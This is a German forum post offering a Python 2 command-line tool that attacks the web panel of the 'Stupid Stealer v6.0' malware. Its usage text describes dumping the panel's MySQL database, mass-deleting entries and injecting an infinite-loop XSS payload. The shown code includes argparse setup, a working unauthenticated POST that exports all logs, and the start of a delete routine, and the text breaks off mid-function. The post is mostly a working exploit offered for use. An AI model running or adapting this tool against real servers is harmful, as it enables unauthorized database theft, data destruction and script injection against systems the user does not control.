Das nachfolgende Script "hackt" Stupid Stealer v6.0 Webpanel mit nur einer Kommandozeile ;)
Features:
- man kann die komplette Datenbank dumpen
- man kann Einträge aus der Datenbank löschen
- XSS Injection (sowas lustiges wie <script type ="text/javascript">while(1) alert("hi :-)")</script>
- Proxynutzung
Edit: gerade die Version 6.5 des Stealers bei HH gesichtet/getestet:
leider wurde der Bug gefixt, der den DB-Dump erlaubte. Aber XSS und vor allem DB Einträge löschen geht trotzdem :twisted
Bitte beachten, dass der Webpanelheader trotz des Updades nicht geändert wurde (steht immer noch v6.0).
Schade, dass ich den Stealer nicht früher entdeckt habe ;)
Getestet: mit Python 2.6
Laufen sollte es mit Python 2.7 und höher (wer Python 2.6 nutzt, sollte mit "easy_install argparse" noch das argparse modul nachladen)
Nutzung:
optional arguments:
-h, --help show this help message and exit
-d [file], --dump [file]
dump MySQL database to file (default: <stdout>)
-del from to, --delete from to
delete data entries from MySQL database from =
startvalue, to = endvalue
-i [XSS Code], --inject [XSS Code]
inject some HTML code, max. length: 255 (default:
<script type="text/javascript">while(1) alert("u w3r3
h4x0r3d by m3 :)")</script>)
-p http://proxy.example.com:8080, --proxy http://proxy.example.com:8080
use a http proxy
Das Löschen der Einträge aus der DB funktioniert in 100-er Schritten.D.h es werden auf einmal min. 100 Einträge gelöscht (womit man sehr schnell auch über recht lahme Proxyverbindung die DB leeren kann). Die Start/Endwerte für Einträge werden benötigt, da das Script nicht weiß, wieviele Einträge insgesamt in der DB vorhanden sind. Zudem werden die Einträge über die interne DB-ID gelöscht (und die wird automatisch vergeben/hochgezählt, d.h wenn z.B aktuell nur 2 Einträge vorhanden sind, aber vorher 100 gelöscht wurden, diese Einträge IDs 101 und 102 haben, so dass man die nur mit "-del 100 102" löschen wird)
wird beim dumpen keine Zieldatei angegeben, so wird alles auf in die Konsole ausgegeben, was z.T recht viel sein kann ;). Zudem wird zuerst die komplette Datei geladen, bevor sie geschrieben wird (d.h nicht wundern, warum über längere Zeit nichts kommt - wenn die Logdatei etwas größer ist, dauert es eben)
wird explizit kein Proxy angegeben, so wird der System(default)proxy genutzt. Das nur am Rande für "non-Pythoner" ;)
XSS Injection war just4fun gemacht worden - einfach nur um coole Nachrichten hinterlassen zu können ;)
Script:
Code:
# autor: EBFE
# mail: ebfe@inbox.ru
# require: argparse module -> python 2.7
# for python < 2.7: run "easy_install argparse"
import argparse, sys, urllib, random, time
a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789") + A_Z + a_z
def get_args():
parser = argparse.ArgumentParser(description = 'EBFE\'s one command line '\
'\'StupidStealer v6.0\' H4ckT00l :)')
parser.add_argument('URL', type = str, help = 'target URL, e.g '\
'"http://l337url.cc"')
parser.add_argument('-d', '--dump', metavar = 'file', nargs = '?',
type=argparse.FileType('a'), const = sys.stdout,
help = 'dump MySQL database to file'\
' (default: <stdout>)')
parser.add_argument('-del', '--delete', metavar = ('from', 'to'),
type = int, nargs = 2,
help = 'delete data entries from MySQL database\n\n'\
'from = startvalue, to = endvalue')
parser.add_argument('-i', '--inject', metavar = 'XSS Code', nargs = '?',
type = str, help = 'inject some HTML code, '\
'max. length: 255 (default: %(const)s)',
const = '<script type="text/javascript">while(1) '\
'alert(\"u w3r3 h4x0r3d by m3 :)\")</script>')
parser.add_argument('-p', '--proxy', type = str,
metavar = ('http://proxy.example.com:8080'),
help = 'use a http proxy')
return parser.parse_args()
def rand_string(minlen, maxlen):
result = []
for i in range(random.randrange(minlen, maxlen)):
result.append(random.choice(chars))
return "".join(result)
def rand_ip():
return ".".join([str(random.randrange(255)) for i in [1,2,3,4]])
def dump():
# POST: export_all=Export+All+Logs
print "dumping '%s' DB to: '%s'" % (args.URL, args.dump.name)
post = urllib.urlencode({'export_all': 'Export All Logs'})
page = urllib.urlopen(args.URL, post, args.proxy)
print "HTTP %d" % page.getcode()
args.dump.write(page.read())
page.close()
def delete(start, end):
#POST: sel[]=1&sel[]=2 ... &sel[]=100&delete=Delete
dels = [('delete','Delete')]
for i in xrange(start, end):
dels.append(('sel[]', i))